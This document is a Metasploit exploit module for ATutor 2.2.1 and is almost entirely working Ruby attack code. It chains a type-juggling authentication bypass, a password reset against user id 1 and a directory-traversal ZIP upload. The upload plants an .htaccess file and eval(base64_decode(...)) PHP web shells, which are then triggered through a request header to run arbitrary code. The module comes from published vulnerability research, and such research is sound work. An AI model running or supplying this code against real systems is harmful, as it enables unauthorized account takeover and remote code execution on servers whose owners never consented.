ATutor 2.2.1 – Directory Traversal / Remote Code Execution (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => 'ATutor 2.2.1 Directory Traversal / Remote Code Execution', 'Description' => %q{ This module exploits a directory traversal vulnerability in ATutor on an Apache/PHP setup with display_errors set to On, which can be used to allow us to upload a malicious ZIP file. On the web application, a blacklist verification is performed before extraction, however it is not sufficient to prevent exploitation. You are required to login to the target to reach the vulnerability, however this can be done as a student account and remote registration is enabled by default. Just in case remote registration isn't enabled, this module uses 2 vulnerabilities in order to bypass the authentication: 1. confirm.php Authentication Bypass Type Juggling vulnerability 2. password_reminder.php Remote Password Reset TOCTOU vulnerability }, 'License' => MSF_LICENSE, 'Author' => [ 'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code ], 'References' => [ [ 'URL', 'http://www.atutor.ca/' ], # Official Website [ 'URL', 'http://sourceincite.com/research/src-2016-09/' ], # Type Juggling Advisory [ 'URL', 'http://sourceincite.com/research/src-2016-10/' ], # TOCTOU Advisory [ 'URL', 'http://sourceincite.com/research/src-2016-11/' ], # Directory Traversal Advisory [ 'URL', 'https://github.com/atutor/ATutor/pull/107' ] ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Mar 1 2016', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']), OptString.new('USERNAME', [false, 'The username to authenticate as']), OptString.new('PASSWORD', [false, 'The password to authenticate with']) ],self.class) end def print_status(msg='') super("#{peer} - #{msg}") end def print_error(msg='') super("#{peer} - #{msg}") end def print_good(msg='') super("#{peer} - #{msg}") end def check # there is no real way to finger print the target so we just # check if we can upload a zip and extract it into the web root... # obviously not ideal, but if anyone knows better, feel free to change if (not datastore['USERNAME'].blank? and not datastore['PASSWORD'].blank?) student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], check=true) if student_cookie != nil && disclose_web_root begin if upload_shell(student_cookie, check=true) && found return Exploit::CheckCode::Vulnerable end rescue Msf::Exploit::Failed => e vprint_error(e.message) end else # if we cant login, it may still be vuln return Exploit::CheckCode::Unknown end else # if no creds are supplied, it may still be vuln return Exploit::CheckCode::Unknown end return Exploit::CheckCode::Safe end def create_zip_file(check=false) zip_file = Rex::Zip::Archive.new @header = Rex::Text.rand_text_alpha_upper(4) @payload_name = Rex::Text.rand_text_alpha_lower(4) @archive_name = Rex::Text.rand_text_alpha_lower(3) @test_string = Rex::Text.rand_text_alpha_lower(8) # we traverse back into the webroot mods/ directory (since it will be writable) path = "../../../../../../../../../../../../..#{@webroot}mods/" # we use this to give us the best chance of success. If a webserver has htaccess override enabled # we will win. If not, we may still win because these file extensions are often registered as php # with the webserver, thus allowing us remote code execution. if check zip_file.add_file("#{path}#{@payload_name}.txt", "#{@test_string}") else register_file_for_cleanup( ".htaccess", "#{@payload_name}.pht", "#{@payload_name}.php4", "#{@payload_name}.phtml") zip_file.add_file("#{path}.htaccess", "AddType application/x-httpd-php .phtml .php4 .pht") zip_file.add_file("#{path}#{@payload_name}.pht", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>") zip_file.add_file("#{path}#{@payload_name}.php4", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>") zip_file.add_file("#{path}#{@payload_name}.phtml", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>") end zip_file.pack end def found res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "mods", "#{@payload_name}.txt"), }) if res and res.code == 200 and res.body =~ /#{@test_string}/ return true end return false end def disclose_web_root res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "jscripts", "ATutor_js.php"), }) @webroot = "/" @webroot << $1 if res and res.body =~ /\<b\>\/(.*)jscripts\/ATutor_js\.php\<\/b\> / if @webroot != "/" return true end return false end def call_php(ext) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "mods", "#{@payload_name}.#{ext}"), 'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n" }, timeout=0.1) return res end def exec_code res = nil res = call_php("pht") if res == nil res = call_php("phtml") end if res == nil res = call_php("php4") end end def upload_shell(cookie, check) post_data = Rex::MIME::Message.new post_data.add_part(create_zip_file(check), 'application/zip', nil, "form-data; name=\"file\"; filename=\"#{@archive_name}.zip\"") post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=\"submit_import\"") data = post_data.to_s res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "mods", "_standard", "tests", "question_import.php"), 'method' => 'POST', 'data' => data, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'cookie' => cookie, 'vars_get' => { 'h' => '' } }) if res && res.code == 302 && res.redirection.to_s.include?("question_db.php") return true end # unknown failure... fail_with(Failure::Unknown, "Unable to upload php code") return false end def find_user(cookie) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "users", "profile.php"), 'cookie' => cookie, # we need to set the agent to the same value that was in type_juggle, # since the bypassed session is linked to the user-agent. We can then # use that session to leak the username 'agent' => '' }) username = "#{$1}" if res and res.body =~ /<span id="login">(.*)<\/span>/ if username return username end # else we fail, because we dont know the username to login as fail_with(Failure::Unknown, "Unable to find the username!") end def type_juggle # high padding, means higher success rate # also, we use numbers, so we can count requests :p for i in 1..8 for @number in ('0'*i..'9'*i) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "confirm.php"), 'vars_post' => { 'auto_login' => '', 'code' => '0' # type juggling }, 'vars_get' => { 'e' => @number, # the bruteforce 'id' => '', 'm' => '', # the default install script creates a member # so we know for sure, that it will be 1 'member_id' => '1' }, # need to set the agent, since we are creating x number of sessions # and then using that session to get leak the username 'agent' => '' }, redirect_depth = 0) # to validate a successful bypass if res and res.code == 302 cookie = "ATutorID=#{$3};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/ return cookie end end end # if we finish the loop and have no sauce, we cant make pasta fail_with(Failure::Unknown, "Unable to exploit the type juggle and bypass authentication") end def reset_password # this is due to line 79 of password_reminder.php days = (Time.now.to_i/60/60/24) # make a semi strong password, we have to encourage security now :-> pass = Rex::Text.rand_text_alpha(32) hash = Rex::Text.sha1(pass) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "password_reminder.php"), 'vars_post' => { 'form_change' => 'true', # the default install script creates a member # so we know for sure, that it will be 1 'id' => '1', 'g' => days + 1, # needs to be > the number of days since epoch 'h' => '', # not even checked! 'form_password_hidden' => hash, # remotely reset the password 'submit' => 'Submit' }, }, redirect_depth = 0) # to validate a successful bypass if res and res.code == 302 return pass end # if we land here, the TOCTOU failed us fail_with(Failure::Unknown, "Unable to exploit the TOCTOU and reset the password") end def login(username, password, check=false) hash = Rex::Text.sha1(Rex::Text.sha1(password)) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "login.php"), 'vars_post' => { 'form_password_hidden' => hash, 'form_login' => username, 'submit' => 'Login', 'token' => '', }, }) # poor php developer practices cookie = "ATutorID=#{$4};" if res && res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/ if res && res.code == 302 if res.redirection.to_s.include?('bounce.php?course=0') return cookie end end # auth failed if we land here, bail unless check fail_with(Failure::NoAccess, "Authentication failed with username #{username}") end return nil end def report_cred(opts) service_data = { address: rhost, port: rport, service_name: ssl ? 'https' : 'http', protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { module_fullname: fullname, post_reference_name: self.refname, private_data: opts[:password], origin_type: :service, private_type: :password, username: opts[:user] }.merge(service_data) login_data = { core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, last_attempted_at: Time.now }.merge(service_data) create_credential_login(login_data) end def exploit # login if needed if (not datastore['USERNAME'].empty? and not datastore['PASSWORD'].empty?) report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD']) student_cookie = login(datastore['USERNAME'], datastore['PASSWORD']) print_good("Logged in as #{datastore['USERNAME']}") # else, we reset the students password via a type juggle vulnerability else print_status("Account details are not set, bypassing authentication...") print_status("Triggering type juggle attack...") student_cookie = type_juggle print_good("Successfully bypassed the authentication in #{@number} requests !") username = find_user(student_cookie) print_good("Found the username: #{username} !") password = reset_password print_good("Successfully reset the #{username}'s account password to #{password} !") report_cred(user: username, password: password) student_cookie = login(username, password) print_good("Logged in as #{username}") end if disclose_web_root print_good("Found the webroot") # we got everything. Now onto pwnage if upload_shell(student_cookie, false) print_good("Zip upload successful !") exec_code end end end end =begin php.ini settings: display_errors = On =end |